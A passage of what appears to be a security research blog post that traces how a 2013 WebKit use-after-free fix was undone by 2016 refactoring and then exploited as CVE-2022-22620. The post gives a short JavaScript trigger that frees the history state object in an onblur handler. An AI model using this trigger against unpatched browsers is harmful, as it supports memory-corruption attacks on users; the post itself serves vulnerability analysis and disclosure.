<ul class="c22 lst-kix_vnkr79j0brd5-0"><li class="c12 c19 c23 li-bullet-0"><span class="ZslSztaQWN-c16"><a class="ZslSztaQWN-c141" href="https://github.com/WebKit/WebKit/commit/ed43edee9f8f114c3b2db3c0420e23f926a968ee">October 2016 - (Potentially) ad-hoc refactoring </a></span></li></ul><ul class="c22 lst-kix_vnkr79j0brd5-1 start" style="margin-left: 23pt;"><li class="c12 c19 c26 li-bullet-0"><span class="ZslSztaQWN-c4">HistoryItem::stateObject()</span><span> is changed to return raw pointer instead of </span><span class="ZslSztaQWN-c4">RefPtr</span></li></ul>
<ul class="c22 lst-kix_vnkr79j0brd5-0"><li class="c12 c19 c23 li-bullet-0"><span class="ZslSztaQWN-c16"><a class="ZslSztaQWN-c141" href="https://github.com/WebKit/WebKit/commit/aa31b6b4d09b09acdf1cec11f2f7f35bd362dd0e">December 2016 - CVE-2022-22600 introduced</a></span></li></ul><ul class="c22 lst-kix_vnkr79j0brd5-1 start" style="margin-left: 23pt;"><li class="c12 c19 c26 li-bullet-0"><span class="ZslSztaQWN-c4">FrameLoader::loadInSameDocument</span><span> changed to take </span><span class="ZslSztaQWN-c4">stateObject</span><span> as a raw pointer instead of </span><span class="ZslSztaQWN-c4">PassRefPtr<SerializedScriptValue></span></li></ul>
<ul class="c22 lst-kix_vnkr79j0brd5-0"><li class="c12 c19 c23 li-bullet-0"><span class="ZslSztaQWN-c16"><a class="ZslSztaQWN-c141" href="https://github.com/WebKit/WebKit/commit/486816dc355c19f1de1b8056f85d0bbf7084dd6e">January 2022 - CVE-2022-22600 patched</a></span></li></ul><ul class="c22 lst-kix_vnkr79j0brd5-1 start" style="margin-left: 23pt;"><li class="c12 c19 c26 li-bullet-0"><span class="ZslSztaQWN-c4">FrameLoader::loadInSameDocument</span><span> changed to take </span><span class="ZslSztaQWN-c4">stateObject</span><span> as a </span><span class="ZslSztaQWN-c4">RefPtr<SerializedScriptValue></span></li></ul>
<p class="ZslSztaQWN-c11"><span class="ZslSztaQWN-c5"></span></p><h1 class="ZslSztaQWN-c19 ZslSztaQWN-c31" id="h.av2i567ev8fi"><span>The Autopsy</span></h1>
<p class="ZslSztaQWN-c12 ZslSztaQWN-c19"><span>When we look at the timeline of changes for </span><span class="ZslSztaQWN-c4">FrameLoader::loadInSameDocument</span><span> it seems that the bug was re-introduced in December 2016 due to refactoring. The question is, why did the patch author think that </span><span class="ZslSztaQWN-c4">loadInSameDocument</span><span> would not need to hold a reference. From the </span><span class="ZslSztaQWN-c16"><a class="ZslSztaQWN-c141" href="https://github.com/WebKit/WebKit/commit/aa31b6b4d09b09acdf1cec11f2f7f35bd362dd0e">December 2016 commit ChangeLog</a></span><span>: </span><span class="ZslSztaQWN-c4">Take a raw pointer for the serialized script value state object. </span><span class="ZslSztaQWN-c4">No one was passing ownership.</span></p>
<p class="ZslSztaQWN-c11"><span class="ZslSztaQWN-c5"></span></p>
<p class="ZslSztaQWN-c12 ZslSztaQWN-c19"><span>My assessment is that it’s due to the October 2016 changes in </span><span class="ZslSztaQWN-c4">HistoryItem:stateObject</span><span>. When the author was evaluating the refactoring changes needed in the </span><span class="ZslSztaQWN-c4">dom</span><span> directory in December 2016, it would have appeared that the only calls to </span><span class="ZslSztaQWN-c4">loadInSameDocument</span><span> passed in either a </span><span class="ZslSztaQWN-c4">null</span><span> value or the result of </span><span class="ZslSztaQWN-c4">stateObject()</span><span> which as of October 2016 now passed a raw </span><span class="ZslSztaQWN-c4">SerializedScriptValue*</span><span> pointer. When looking at those two options for the type of an argument, then it’s potentially understandable that the developer thought that </span><span class="ZslSztaQWN-c4">loadInSameDocument</span><span> did not need to share ownership of </span><span class="ZslSztaQWN-c4">stateObject</span><span class="ZslSztaQWN-c5">.</span></p>
<p class="ZslSztaQWN-c11"><span class="ZslSztaQWN-c5"></span></p>
<p class="ZslSztaQWN-c12 ZslSztaQWN-c19"><span>So why then was </span><span class="ZslSztaQWN-c4">HistoryItem::stateObject</span><span>’s return value changed from a </span><span class="ZslSztaQWN-c4">RefPtr</span><span class="ZslSztaQWN-c5"> to a raw pointer in October 2016? That I’m struggling to find an explanation for. </span></p>
<p class="ZslSztaQWN-c11"><span class="ZslSztaQWN-c5"></span></p>
<p class="ZslSztaQWN-c12 ZslSztaQWN-c19"><span>According to the description, the patch in October 2016 was intended to “Replace all uses of ExceptionCodeWithMessage with WebCore::Exception”. However when we look at the ChangeLog it seems that the author decided to also do some (seemingly unrelated) refactoring to </span><span class="ZslSztaQWN-c4">HistoryItem</span><span>. These are some of the only changes in the commit whose descriptions aren’t related to exceptions. As an outsider looking at the commits, it seems that the developer by chance thought they’d do a little “clean-up” while working through the required refactoring on the exceptions. If this was simply an additional ad-hoc step while in the code, rather than the goal of the commit, it seems plausible that the developer and reviewers may not have further traced the full lifetime of </span><span class="ZslSztaQWN-c4">HistoryItem::stateObject</span><span class="ZslSztaQWN-c5">.</span></p>
<p class="ZslSztaQWN-c11"><span class="ZslSztaQWN-c5"></span></p>
<p class="ZslSztaQWN-c12 ZslSztaQWN-c19"><span>While the change to </span><span class="ZslSztaQWN-c4">HistoryItem</span><span> in October 2016 was not sufficient to introduce the bug, it seems that that change likely contributed to the developer in December 2016 thinking that </span><span class="ZslSztaQWN-c4">loadInSameDocument</span><span> didn’t need to increase the reference count on the </span><span class="ZslSztaQWN-c4">stateObject</span><span class="ZslSztaQWN-c5">.</span></p>
<p class="ZslSztaQWN-c11"><span class="ZslSztaQWN-c5"></span></p>
<p class="ZslSztaQWN-c12 ZslSztaQWN-c19"><span>Both the October 2016 and the December 2016 commits were very large. The commit in October changed 40 files with 900 additions and 1225 deletions. The commit in December changed 95 files with 1336 additions and 1325 deletions. It seems untenable for any developers or reviewers to understand the security implications of each change in those commits in detail</span><span class="ZslSztaQWN-c5">, especially since they’re related to lifetime semantics.</span></p><h1 class="ZslSztaQWN-c31 ZslSztaQWN-c19" id="h.wnkfqwd2smy6"><span>The Zombie</span></h1>
<p class="ZslSztaQWN-c12 ZslSztaQWN-c19"><span>We’ve now tracked down the evolution of changes to fix the 2013 vulnerability…and then revert those fixes… so I got back to identifying the 2022 bug. It’s the same bug, but triggered through a different path. T</span><span class="ZslSztaQWN-c5">hat’s why the 2013 test case wasn’t crashing the version of WebKit that should have been vulnerable to CVE-2022-22620:</span></p><ol class="c22 lst-kix_rpn0sahs9m0k-0 start" start="1"><li class="c12 c19 c23 li-bullet-0"><span>The 2013 test case triggers the bug through the </span><span class="ZslSztaQWN-c4">V8History::stateAccessorAndGetter</span><span> path instead of </span><span class="ZslSztaQWN-c4">FrameLoader::loadInSameDocument</span><span class="ZslSztaQWN-c5">, and</span></li><li class="c12 c19 c23 li-bullet-0"><span>As a part of Sergei’s 2013 bug report there were additional hardening measures put into place that prevented user-code callbacks being processed during deserialization.</span><span class="ZslSztaQWN-c5"> </span></li></ol>
<p class="ZslSztaQWN-c12 ZslSztaQWN-c19"><span>Therefore we needed to figure out how to call </span><span class="ZslSztaQWN-c4">loadInSameDocument</span><span> and instead of using the deserialization to trigger a JavaScript callback, we needed to find another event in the </span><span class="ZslSztaQWN-c4">loadInSameDocument</span><span class="ZslSztaQWN-c5"> function that would trigger the callback to user JavaScript.</span></p>
<p class="ZslSztaQWN-c11"><span class="ZslSztaQWN-c5"></span></p>
<p class="ZslSztaQWN-c12 ZslSztaQWN-c19"><span>To quickly figure out how to call </span><span class="ZslSztaQWN-c4">loadInSameDocument</span><span>, I modified the WebKit source code to trigger a test failure if </span><span class="ZslSztaQWN-c4">loadInSameDocument</span><span> was ever called and then ran all the tests in the </span><span class="ZslSztaQWN-c4">fast/history</span><span> d</span><span>irectory. There were 5 out of the 80 tests that called </span><span class="ZslSztaQWN-c4">loadInSameDocument</span><span class="ZslSztaQWN-c5">:</span></p><ul class="c22 lst-kix_3vloefecb731-0 start"><li class="c12 c19 c23 li-bullet-0"><span class="ZslSztaQWN-c16"><a class="ZslSztaQWN-c141" href="https://github.com/WebKit/WebKit/blob/main/LayoutTests/fast/history/multiple-back-forward-navigations.html">fast/history/multiple-back-forward-navigations.html</a></span></li><li class="c12 c19 c23 li-bullet-0"><span class="ZslSztaQWN-c16"><a class="ZslSztaQWN-c141" href="https://github.com/WebKit/WebKit/blob/main/LayoutTests/fast/history/history-traversal-is-asynchronous.html">fast/history/history-traversal-is-asynchronous.html</a></span></li><li class="c12 c19 c23 li-bullet-0"><span class="ZslSztaQWN-c16"><a class="ZslSztaQWN-c141" href="https://github.com/WebKit/WebKit/blob/main/LayoutTests/fast/history/history-back-forward-within-subframe-hash.html">fast/history/history-back-forward-within-subframe-hash.html</a></span></li><li class="c12 c19 c23 li-bullet-0"><span class="ZslSztaQWN-c16"><a class="ZslSztaQWN-c141" href="https://github.com/WebKit/WebKit/blob/main/LayoutTests/fast/history/link-inside-any.html">fast/history/link-inside-any.html</a></span></li><li class="c12 c19 c23 li-bullet-0"><span class="ZslSztaQWN-c16"><a class="ZslSztaQWN-c141" href="https://github.com/WebKit/WebKit/blob/main/LayoutTests/fast/history/timed-refresh-in-cached-frame.html">fast/history/timed-refresh-in-cached-frame.html</a></span></li></ul>
<p class="ZslSztaQWN-c11"><span class="ZslSztaQWN-c5"></span></p>
<p class="ZslSztaQWN-c12 ZslSztaQWN-c19"><span>The tests </span><span class="ZslSztaQWN-c4">history-back-forward-within-subframe-hash.html</span><span> and </span><span class="ZslSztaQWN-c4">fast/history/history-traversal-is-asynchronous.html</span><span> were the most helpful. We can trigger the call to </span><span class="ZslSztaQWN-c4">loadInSameDocument</span><span> by setting the history stack with an object whose location is the same page, but includes a hash. We then call </span><span class="ZslSztaQWN-c4">history.back()</span><span> to go back to that state that includes the URL with the hash. </span><span class="ZslSztaQWN-c4">loadInSamePage</span><span class="ZslSztaQWN-c5"> is responsible for scrolling to that location.</span></p>
<p class="ZslSztaQWN-c11"><span class="ZslSztaQWN-c5"></span></p><a id="t.6c73d82779de9619168336c5e74c9282d03e1118"></a><a id="t.2"></a><table class="ZslSztaQWN-c27"><tr class="ZslSztaQWN-c15"><td class="ZslSztaQWN-c10" colspan="1" rowspan="1">
<p class="ZslSztaQWN-c12"><span class="ZslSztaQWN-c0">history</span><span class="ZslSztaQWN-c2">.</span><span class="ZslSztaQWN-c0">pushState</span><span class="ZslSztaQWN-c2">(</span><span class="ZslSztaQWN-c17">"state1"</span><span class="ZslSztaQWN-c2">,</span><span class="ZslSztaQWN-c0"> </span><span class="ZslSztaQWN-c17">""</span><span class="ZslSztaQWN-c2">,</span><span class="ZslSztaQWN-c0"> location </span><span class="ZslSztaQWN-c2">+</span><span class="ZslSztaQWN-c0"> </span><span class="ZslSztaQWN-c17">"#foo"</span><span class="ZslSztaQWN-c2">);</span></p>
<p class="ZslSztaQWN-c12"><span class="ZslSztaQWN-c0">history</span><span class="ZslSztaQWN-c2">.</span><span class="ZslSztaQWN-c0">pushState</span><span class="ZslSztaQWN-c2">(</span><span class="ZslSztaQWN-c17">"state2"</span><span class="ZslSztaQWN-c2">,</span><span class="ZslSztaQWN-c0"> </span><span class="ZslSztaQWN-c17">""</span><span class="ZslSztaQWN-c2">);</span><span class="ZslSztaQWN-c0"> </span><span class="ZslSztaQWN-c32">// current state</span></p>
<p class="ZslSztaQWN-c12 ZslSztaQWN-c20"><span class="ZslSztaQWN-c0 ZslSztaQWN-c6"></span></p>
<p class="ZslSztaQWN-c12"><span class="ZslSztaQWN-c0">history</span><span class="ZslSztaQWN-c2">.</span><span class="ZslSztaQWN-c0">back</span><span class="ZslSztaQWN-c2">();</span><span class="ZslSztaQWN-c0"> </span><span class="ZslSztaQWN-c32">//goes back to state1, triggering loadInSameDocument</span></p></td></tr></table>
<p class="ZslSztaQWN-c11"><span class="ZslSztaQWN-c5"></span></p>
<p class="ZslSztaQWN-c11"><span class="ZslSztaQWN-c5"></span></p>
<p class="ZslSztaQWN-c12 ZslSztaQWN-c19"><span> </span></p>
<p class="ZslSztaQWN-c12 ZslSztaQWN-c19"><span>Now that I knew how to call </span><span class="ZslSztaQWN-c4">loadInSameDocument</span><span>, I teamed up with Sergei to identify how we could get user code execution sometime during the </span><span class="ZslSztaQWN-c4">loadInSameDocument</span><span> function, but prior to the call to </span><span class="ZslSztaQWN-c4">statePopped</span><span> </span><span>(</span><span class="ZslSztaQWN-c16"><a class="ZslSztaQWN-c141" href="https://github.com/WebKit/WebKit/blob/7b23cae2a1b1ffd026288f15261f8ba272c3b24b/Source/WebCore/loader/FrameLoader.cpp#L1158">FrameLoader.cpp#1158</a></span><span class="ZslSztaQWN-c5">):</span></p>
<p class="ZslSztaQWN-c11"><span class="ZslSztaQWN-c5"></span></p><a id="t.44cc163a06cabebe835e9730a761749f62c29f76"></a><a id="t.3"></a><table class="ZslSztaQWN-c27"><tr class="ZslSztaQWN-c15"><td class="ZslSztaQWN-c10" colspan="1" rowspan="1">
<p class="ZslSztaQWN-c12"><span class="ZslSztaQWN-c0">m_frame</span><span class="ZslSztaQWN-c2">.</span><span class="ZslSztaQWN-c0">document</span><span class="ZslSztaQWN-c2">()-></span><span class="ZslSztaQWN-c0">statePopped</span><span class="ZslSztaQWN-c2">(</span><span class="ZslSztaQWN-c0">stateObject </span><span class="ZslSztaQWN-c2">?</span><span class="ZslSztaQWN-c0"> </span><span class="ZslSztaQWN-c1">Ref</span><span class="ZslSztaQWN-c2"><</span><span class="ZslSztaQWN-c1">SerializedScriptValue</span><span class="ZslSztaQWN-c2">></span><span class="ZslSztaQWN-c0"> </span><span class="ZslSztaQWN-c2">{</span><span class="ZslSztaQWN-c0"> </span><span class="ZslSztaQWN-c2">*</span><span class="ZslSztaQWN-c0">stateObject </span><span class="ZslSztaQWN-c2">}</span><span class="ZslSztaQWN-c0"> </span><span class="ZslSztaQWN-c2">:</span><span class="ZslSztaQWN-c0"> </span><span class="ZslSztaQWN-c1">SerializedScriptValue</span><span class="ZslSztaQWN-c2">::</span><span class="ZslSztaQWN-c0">nullValue</span><span class="ZslSztaQWN-c2">());</span></p></td></tr></table>
<p class="ZslSztaQWN-c11"><span class="ZslSztaQWN-c5"></span></p>
<p class="ZslSztaQWN-c12 ZslSztaQWN-c19"><span>The callback to user code would have to occur prior to the call to </span><span class="ZslSztaQWN-c4">statePopped</span><span> because </span><span class="ZslSztaQWN-c4">stateObject</span><span class="ZslSztaQWN-c5"> was cast to a reference there and thus would now be reference-counted. We assumed that this would be the place where the “freed” object was “used”.</span></p>
<p class="ZslSztaQWN-c11"><span class="ZslSztaQWN-c5"></span></p>
<p class="ZslSztaQWN-c12 ZslSztaQWN-c19"><span>If you go down the rabbit hole of the calls made in </span><span class="ZslSztaQWN-c4">loadInSameDocument</span><span>, we find that there is a path to the </span><span class="ZslSztaQWN-c4">blur</span><span> event being dispatched. We could have also used a tool like </span><span class="ZslSztaQWN-c16"><a class="ZslSztaQWN-c141" href="https://codeql.github.com/">CodeQL</a></span><span> to see if there was a path from </span><span class="ZslSztaQWN-c4">loadInSameDocument</span><span> to </span><span class="ZslSztaQWN-c4">dispatchEvent</span><span>, but in this case we just used manual auditing. The call tree to the </span><span class="ZslSztaQWN-c4">blur</span><span class="ZslSztaQWN-c5"> event is:</span></p>
<p class="ZslSztaQWN-c11"><span class="ZslSztaQWN-c5"></span></p><a id="t.870849a2bc6536879e2f5ddf1089bb7c44ea4edb"></a><a id="t.4"></a><table class="ZslSztaQWN-c27"><tr class="ZslSztaQWN-c15"><td class="ZslSztaQWN-c10" colspan="1" rowspan="1">
<p class="ZslSztaQWN-c12"><span class="ZslSztaQWN-c1">FrameLoader</span><span class="ZslSztaQWN-c2">::</span><span class="ZslSztaQWN-c0 ZslSztaQWN-c6">loadInSameDocument</span></p>
<p class="ZslSztaQWN-c12"><span class="ZslSztaQWN-c0"> </span><span class="ZslSztaQWN-c1">FrameLoader</span><span class="ZslSztaQWN-c2">::</span><span class="ZslSztaQWN-c0 ZslSztaQWN-c6">scrollToFragmentWithParentBoundary</span></p>
<p class="ZslSztaQWN-c12"><span class="ZslSztaQWN-c0"> </span><span class="ZslSztaQWN-c1">FrameView</span><span class="ZslSztaQWN-c2">::</span><span class="ZslSztaQWN-c0 ZslSztaQWN-c6">scrollToFragment</span></p>
<p class="ZslSztaQWN-c12"><span class="ZslSztaQWN-c0"> </span><span class="ZslSztaQWN-c1">FrameView</span><span class="ZslSztaQWN-c2">::</span><span class="ZslSztaQWN-c0 ZslSztaQWN-c6">scrollToFragmentInternal</span></p>
<p class="ZslSztaQWN-c12"><span class="ZslSztaQWN-c0"> </span><span class="ZslSztaQWN-c1">FocusController</span><span class="ZslSztaQWN-c2">::</span><span class="ZslSztaQWN-c0 ZslSztaQWN-c6">setFocusedElement</span></p>
<p class="ZslSztaQWN-c12"><span class="ZslSztaQWN-c0"> </span><span class="ZslSztaQWN-c1">FocusController</span><span class="ZslSztaQWN-c2">::</span><span class="ZslSztaQWN-c0 ZslSztaQWN-c6">setFocusedFrame</span></p>
<p class="ZslSztaQWN-c12"><span class="ZslSztaQWN-c0"> dispatchWindowEvent</span><span class="ZslSztaQWN-c2">(</span><span class="ZslSztaQWN-c1">Event</span><span class="ZslSztaQWN-c2">::</span><span class="ZslSztaQWN-c0">create</span><span class="ZslSztaQWN-c2">(</span><span class="ZslSztaQWN-c0">eventNames</span><span class="ZslSztaQWN-c2">().</span><span class="ZslSztaQWN-c0">blurEvent</span><span class="ZslSztaQWN-c2">,</span><span class="ZslSztaQWN-c0"> </span><span class="ZslSztaQWN-c1">Event</span><span class="ZslSztaQWN-c2">::</span><span class="ZslSztaQWN-c1">CanBubble</span><span class="ZslSztaQWN-c2">::</span><span class="ZslSztaQWN-c1">No</span><span class="ZslSztaQWN-c2">,</span><span class="ZslSztaQWN-c0"> </span><span class="ZslSztaQWN-c1">Event</span><span class="ZslSztaQWN-c2">::</span><span class="ZslSztaQWN-c1">IsCancelable</span><span class="ZslSztaQWN-c2">::</span><span class="ZslSztaQWN-c1">No</span><span class="ZslSztaQWN-c2">));</span></p></td></tr></table>
<p class="ZslSztaQWN-c11"><span class="ZslSztaQWN-c5"></span></p>
<p class="ZslSztaQWN-c12 ZslSztaQWN-c19"><span>The </span><span class="ZslSztaQWN-c4">blur</span><span> event fires on an element whenever focus is moved from that element to another element. In our case </span><span class="ZslSztaQWN-c4">loadInSameDocument</span><span> is triggered when we need to scroll to a new location within the current page. If we’re scrolling and therefore changing focus to a new element, the </span><span class="ZslSztaQWN-c4">blur</span><span class="ZslSztaQWN-c5"> event is fired on the element that previously had the focus. </span></p>
<p class="ZslSztaQWN-c11"><span class="ZslSztaQWN-c5"></span></p>
<p class="ZslSztaQWN-c12 ZslSztaQWN-c19"><span>The last piece for our trigger is to free the </span><span class="ZslSztaQWN-c4">stateObject</span><span> in the </span><span class="ZslSztaQWN-c4">onblur</span><span> event handler. To do that we call </span><span class="ZslSztaQWN-c4">replaceState</span><span>, which overwrites the current history state with a new object. This causes the final reference to be dropped on the </span><span class="ZslSztaQWN-c4">stateObject</span><span> and it’s therefore free’</span><span>d</span><span>. </span><span class="ZslSztaQWN-c4">loadInSameDocument</span><span> still uses the free’d </span><span class="ZslSztaQWN-c4">stateObject</span><span> in its call to </span><span class="ZslSztaQWN-c4">statePopped</span><span class="ZslSztaQWN-c5">.</span></p>
<p class="ZslSztaQWN-c11"><span class="ZslSztaQWN-c5"></span></p><a id="t.b75e8b9268f5881526cd63ea2dc82bafaef64a9f"></a><a id="t.5"></a><table class="ZslSztaQWN-c27"><tr class="ZslSztaQWN-c15"><td class="ZslSztaQWN-c10" colspan="1" rowspan="1">
<p class="ZslSztaQWN-c12"><span class="ZslSztaQWN-c0">input </span><span class="ZslSztaQWN-c2">=</span><span class="ZslSztaQWN-c0"> document</span><span class="ZslSztaQWN-c2">.</span><span class="ZslSztaQWN-c0">body</span><span class="ZslSztaQWN-c2">.</span><span class="ZslSztaQWN-c0">appendChild</span><span class="ZslSztaQWN-c2">(</span><span class="ZslSztaQWN-c0">document</span><span class="ZslSztaQWN-c2">.</span><span class="ZslSztaQWN-c0">createElement</span><span class="ZslSztaQWN-c2">(</span><span class="ZslSztaQWN-c17">"input"</span><span class="ZslSztaQWN-c2">));</span></p>
<p class="ZslSztaQWN-c12 ZslSztaQWN-c20"><span class="ZslSztaQWN-c0 ZslSztaQWN-c6"></span></p>
<p class="ZslSztaQWN-c12"><span class="ZslSztaQWN-c0">a </span><span class="ZslSztaQWN-c2">=</span><span class="ZslSztaQWN-c0"> document</span><span class="ZslSztaQWN-c2">.</span><span class="ZslSztaQWN-c0">body</span><span class="ZslSztaQWN-c2">.</span><span class="ZslSztaQWN-c0">appendChild</span><span class="ZslSztaQWN-c2">(</span><span class="ZslSztaQWN-c0">document</span><span class="ZslSztaQWN-c2">.</span><span class="ZslSztaQWN-c0">createElement</span><span class="ZslSztaQWN-c2">(</span><span class="ZslSztaQWN-c17">"a"</span><span class="ZslSztaQWN-c2">));</span></p>
<p class="ZslSztaQWN-c12"><span class="ZslSztaQWN-c0">a</span><span class="ZslSztaQWN-c2">.</span><span class="ZslSztaQWN-c0">id </span><span class="ZslSztaQWN-c2">=</span><span class="ZslSztaQWN-c0"> </span><span class="ZslSztaQWN-c17">"foo"</span><span class="ZslSztaQWN-c2">;</span></p>
<p class="ZslSztaQWN-c12 ZslSztaQWN-c20"><span class="ZslSztaQWN-c0 ZslSztaQWN-c6"></span></p>
<p class="ZslSztaQWN-c12"><span class="ZslSztaQWN-c0">history</span><span class="ZslSztaQWN-c2">.</span><span class="ZslSztaQWN-c0">pushState</span><span class="ZslSztaQWN-c2">(</span><span class="ZslSztaQWN-c17">"state1"</span><span class="ZslSztaQWN-c2">,</span><span class="ZslSztaQWN-c0"> </span><span class="ZslSztaQWN-c17">""</span><span class="ZslSztaQWN-c2">,</span><span class="ZslSztaQWN-c0"> location </span><span class="ZslSztaQWN-c2">+</span><span class="ZslSztaQWN-c0"> </span><span class="ZslSztaQWN-c17">"#foo"</span><span class="ZslSztaQWN-c2">);</span></p>
<p class="ZslSztaQWN-c12"><span class="ZslSztaQWN-c0">history</span><span class="ZslSztaQWN-c2">.</span><span class="ZslSztaQWN-c0">pushState</span><span class="ZslSztaQWN-c2">(</span><span class="ZslSztaQWN-c17">"state2"</span><span class="ZslSztaQWN-c2">,</span><span class="ZslSztaQWN-c0"> </span><span class="ZslSztaQWN-c17">""</span><span class="ZslSztaQWN-c2">);</span></p>
<p class="ZslSztaQWN-c12 ZslSztaQWN-c20"><span class="ZslSztaQWN-c0 ZslSztaQWN-c6"></span></p>
<p class="ZslSztaQWN-c12"><span class="ZslSztaQWN-c0">setTimeout</span><span class="ZslSztaQWN-c2">(()</span><span class="ZslSztaQWN-c0"> </span><span class="ZslSztaQWN-c2">=></span><span class="ZslSztaQWN-c0"> </span><span class="ZslSztaQWN-c2">{</span></p>
<p class="ZslSztaQWN-c12"><span class="ZslSztaQWN-c0"> input</span><span class="ZslSztaQWN-c2">.</span><span class="ZslSztaQWN-c0">focus</span><span class="ZslSztaQWN-c2">();</span></p>
<p class="ZslSztaQWN-c12"><span class="ZslSztaQWN-c0"> input</span><span class="ZslSztaQWN-c2">.</span><span class="ZslSztaQWN-c0">onblur </span><span class="ZslSztaQWN-c2">=</span><span class="ZslSztaQWN-c0"> </span><span class="ZslSztaQWN-c2">()</span><span class="ZslSztaQWN-c0"> </span><span class="ZslSztaQWN-c2">=></span><span class="ZslSztaQWN-c0"> history</span><span class="ZslSztaQWN-c2">.</span><span class="ZslSztaQWN-c0">replaceState</span><span class="ZslSztaQWN-c2">(</span><span class="ZslSztaQWN-c17">"state3"</span><span class="ZslSztaQWN-c2">,</span><span class="ZslSztaQWN-c0"> </span><span class="ZslSztaQWN-c17">""</span><span class="ZslSztaQWN-c2">);</span></p>
<p class="ZslSztaQWN-c12"><span class="ZslSztaQWN-c0"> setTimeout</span><span class="ZslSztaQWN-c2">(()</span><span class="ZslSztaQWN-c0"> </span><span class="ZslSztaQWN-c2">=></span><span class="ZslSztaQWN-c0"> history</span><span class="ZslSztaQWN-c2">.</span><span class="ZslSztaQWN-c0">back</span><span class="ZslSztaQWN-c2">(),</span><span class="ZslSztaQWN-c0"> </span><span class="ZslSztaQWN-c3">1000</span><span class="ZslSztaQWN-c2">);</span></p>
<p class="ZslSztaQWN-c12"><span class="ZslSztaQWN-c2">},</span><span class="ZslSztaQWN-c0"> </span><span class="ZslSztaQWN-c3">1000</span><span class="ZslSztaQWN-c2">);</span></p>
<p class="ZslSztaQWN-c12 ZslSztaQWN-c20"><span class="ZslSztaQWN-c0 ZslSztaQWN-c6"></span></p></td></tr></table>
<p class="ZslSztaQWN-c11"><span class="ZslSztaQWN-c5"></span></p>
<p class="ZslSztaQWN-c12 ZslSztaQWN-c19"><span>In both the 2013 and 2022 cases, the root vulnerability is that the </span><span class="ZslSztaQWN-c4">stateObject</span><span> is not correctly reference-counted. In 2013, the developers did a great job of patching all the different paths to trigger the vulnerability, not just the one in the submitted proof-of-concept. This meant that they had also killed the vulnerability in </span><span class="ZslSztaQWN-c4">loadInSameDocument</span><span class="ZslSztaQWN-c5">. The refactoring in December 2016 then revived the vulnerability to enable it to be exploited in-the-wild and re-patched in 2022.</span></p><h1 class="ZslSztaQWN-c31 ZslSztaQWN-c19" id="h.x9lxjo77j0n3"><span class="ZslSztaQWN-c8 ZslSztaQWN-c6">Conclusion</span></h1>
<p class="ZslSztaQWN-c12 ZslSztaQWN-c19"><span>Usually when we talk about variants, they exist due to incomplete patches: the vendor doesn’t correctly and completely fix the reported vulnerability. However, for CVE-2022-22620 the vulnerability was correctly and completely fixed in 2013. </span><span>Its </span><span>fix was just regressed</span><span> in 2016</span><span> during refactoring</span><span>. We don’t know how long an attacker was exploiting this vulnerability in-the-wild, but we do know that the vulnerability existed (again) for 5 years: December 2016 until January 2022.</span></p>
<p class="ZslSztaQWN-c11"><span class="ZslSztaQWN-c5"></span></p>
<p class="ZslSztaQWN-c12 ZslSztaQWN-c19"><span class="ZslSztaQWN-c5">There’s no easy answer for what should have been done differently. The developers responding to the initial bug report in 2013 followed a lot of best-practices: </span></p><ul class="c22 lst-kix_ziaggw1wsf95-0 start"><li class="c12 c19 c23 li-bullet-0"><span class="ZslSztaQWN-c5">Patched all paths to trigger the vulnerability, not just the one in the proof-of-concept. This meant that they patched the variant that would become CVE-2022-22620.</span></li><li class="c12 c19 c23 li-bullet-0"><span class="ZslSztaQWN-c5">Submitted a test case with the patch.</span></li><li class="c12 c19 c23 li-bullet-0"><span class="ZslSztaQWN-c5">Detailed commit messages explaining the vulnerability and how they were fixing it.</span></li><li class="c12 c19 c23 li-bullet-0"><span class="ZslSztaQWN-c5">Additional hardening measures during deserialization.</span></li></ul>
<p class="ZslSztaQWN-c11 ZslSztaQWN-c41"><span class="ZslSztaQWN-c5"></span></p>
<p class="ZslSztaQWN-c12 ZslSztaQWN-c19"><span class="ZslSztaQWN-c5">As an offensive security research team, we can make assumptions about what we believe to be the core challenges facing modern software development teams: legacy code, short reviewer turn-around expectations, refactoring and security efforts are generally under-appreciated and under-rewarded, and lack of memory safety mitigations. Developers and security teams need time to review patches, especially for security issues, and rewarding these efforts, will make a difference. It also will save the vendor resources in the long run. In this case, 9 years after a vulnerability was initially triaged, patched, tested, and released, the whole process had to be duplicated again, but this time under the pressure of in-the-wild exploitation. </span></p>
<p class="ZslSztaQWN-c11"><span class="ZslSztaQWN-c5"></span></p>
<p class="ZslSztaQWN-c12 ZslSztaQWN-c19"><span>While this case study was a 0-day in Safari/WebKit, this is not an issue unique to Safari. Already in 2022, we’ve seen in-the-wild 0-days that are variants of previously disclosed bugs targeting Chromium, Windows, Pixel, and iOS as well.</span><span> It’s a good reminder that as defenders we all need to stay vigilant in reviewing and auditing code and patches. </span></p>Google Project Zerohttp://www.blogger.com/profile/08975904405228580347noreply@blogger.com0tag:blogger.com,1999:blog-4838136820032157985.post-61715885767682701042022-05-10T12:00:00.001-07:002022-06-08T14:08:01.466-07:00Release of Technical Report into the AMD Security Processor<style type="text/css">ol{margin:0;padding:0}table td,table th{padding:0}.RmvCPDuePa-c3{padding-top:0pt;padding-bottom:0pt;line-height:1.5;orphans:2;widows:2;text-align:left;height:11pt}.RmvCPDuePa-c0{color:#000000;font-weight:400;text-decoration:none;vertical-align:baseline;font-size:11pt;font-family:"Arial";font-style:normal}.RmvCPDuePa-c7{padding-top:0pt;padding-bottom:0pt;line-height:1.5;orphans:2;widows:2;text-align:left}.RmvCPDuePa-c2{padding-top:0pt;padding-bottom:0pt;line-height:1.0;text-align:left}.RmvCPDuePa-c6{text-decoration-skip-ink:none;-webkit-text-decoration-skip:none;color:#1155cc;text-decoration:underline}.RmvCPDuePa-c4{background-color:#ffffff;max-width:468pt;padding:72pt 72pt 72pt 72pt}.RmvCPDuePa-c1{color:inherit;text-decoration:inherit}.RmvCPDuePa-c5{border:1px solid 